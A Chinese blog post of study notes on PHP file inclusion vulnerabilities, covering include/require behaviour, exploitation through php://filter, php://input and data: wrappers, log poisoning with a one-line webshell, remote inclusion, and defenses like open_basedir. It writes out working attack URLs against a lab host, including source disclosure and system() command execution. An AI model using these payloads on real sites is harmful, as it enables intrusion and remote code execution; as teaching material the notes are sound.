• 常见的文件包含漏洞


     

    一、什么是文件包含

    程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。

    例如:include conn.php

    PHP中常见包含文件函数

    include()

    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进

    来,发生错误时之给出一个警告,继续向下执行。

    include_once()

    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

    require()

    require()include()的区别在于require()执行如果发生错误,函数会输出

    错误信息,并终止脚本的运行。

    require_once()

    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

    include :包含的文件不存在,程序会继续执行

    require:包含文件不存在,程序停止执行

    文件包含

    1,利用

    伪协议

    php://input         allow_url_include

    php:fileter/read

    php:date:text/plainallow_url_include/fopen

    2,包含其他文件

    1,本地,包含日志文件,session,错误日志

    2,远程,allow_url_fopen,allow_url_include

    3,挖掘

    1,代码审计

    2,扫描器

    4,防护

    open_basedir

    过滤.

    关闭allow_url_fopen,allow_url_include

    补充:

    文件包含

    修改apache配置文件

    1,记录日志 修改httpd.conf

        #CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" common  #普通类型

            CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" combined #复合类型

        <IfModule log_config_module>

        LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" combined

        LogFormat "%h %l %u %t "%r" %>s %b" common

        LogFormat "%{Referer}i -> %U" referer

        LogFormat "%{User-agent}i" agent

    </IfModule>

    #php文件包含漏洞

    http://www.freebuf.com/column/148886.html

    php伪协议:不需要开启allow_url_fopen

    php://inputphp://stdinphp://memory php://temp 需要开启allow_url_include

    #   (php://filter: php://filter 读取网站源码)

        PHP语言中特有的协议流,作用是作为一个“中间流”

        来处理其他流。比如下面的代码,我们可以把conn.php配置文件转换成base64编码并输出:

    http://172.18.199.199/14-include/01.php?page=php://filter/read=convert.base64-encode/resource=../03-session/conn.php

    #   (php://input 接受post请求,并执行里面的代码)

    https://www.cnblogs.com/ningskyer/articles/4712597.html

    http://172.18.199.199/14-include/01.php?page=php://input

    php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

    我们应该怎么去理解这段概述呢?我把它划分为三部分,逐步去理解:

    1,读取POST数据

    2,不能用于multipart/form-data类型

    3php://input VS $HTTP_RAW_POST_DATA

    #   (data伪协议:data:text/plain,<?php system('config');?> 直接执行后面的代码)

    page=data:text/plain,<?php system('config');?>

    http://172.18.199.199/14-include/01.php?page=data:text/plain,<?php system('ipconfig');?>

    ----------------------------文件包含漏洞除了可以包含你上传的文件,日志文件,session文件。。。---------------

    #  如果php.ini开启了allow_url_include=on

    伪协议:

    *-1 php://filter 读取网站文件源码 xxx.php?page=php://filter/read=convert.base64-encode/resource=路径

    *-2 php://input 接受post请求,执行里面的php代码  xxx.php?page=php://input

    构造post请求 <?php phpinfo()?>

    *-3  data协议: xxx.php?page=data:text/plain,<?php phpinfo();?>

    *-4 包含远程文件  进攻目标站 http://172.18.199.199 存在文件包含

    远程文件包含,包含的文件不能被解析。

    攻击语法:http://172.18.199.199/14-include/01.php?page=http://172.18.199.13/www/one.txt

    xxx.php?page=http://172.18.199.13/one.php

    文件包含防御

    修改配置文件php.ini 限制包含目录

    open_basedir=D:/phpStudy/WWW/14-include/

    对开启日志运用kaliLinux 访问,curl http://xxxx.com”利用这样的格式,替换为一句话木马等等脚本内容,然后对日志文件进行访问

    但是有个重要的问题,凌晨左右日志文件会重新生成,这个时候插入脚本会有比较好的效果不会被其他的访问内容所影响。

  • 相关阅读:
    年终盘点 | 七年零故障支撑 双11 的消息中间件 RocketMQ,怎么做到的?
    刚刚,阿里云知行动手实验室正式开放公测了
    dubbogo 3.0:牵手 gRPC 走向云原生时代
    一个改变世界的“箱子”
    我看技术人的成长路径
    云原生体系下的技海浮沉与理论探索
    分布式事务框架 seata-golang 通信模型详解
    Serverless 如何落地?揭秘阿里核心业务大规模落地实现
    Github 2020 年度报告:你以为新冠击溃了开发者?不!他们创造了更多代码...
    493. Reverse Pairs
  • 原文地址:https://www.cnblogs.com/luolaobiao/p/9948374.html
Copyright © 2020-2023  润新知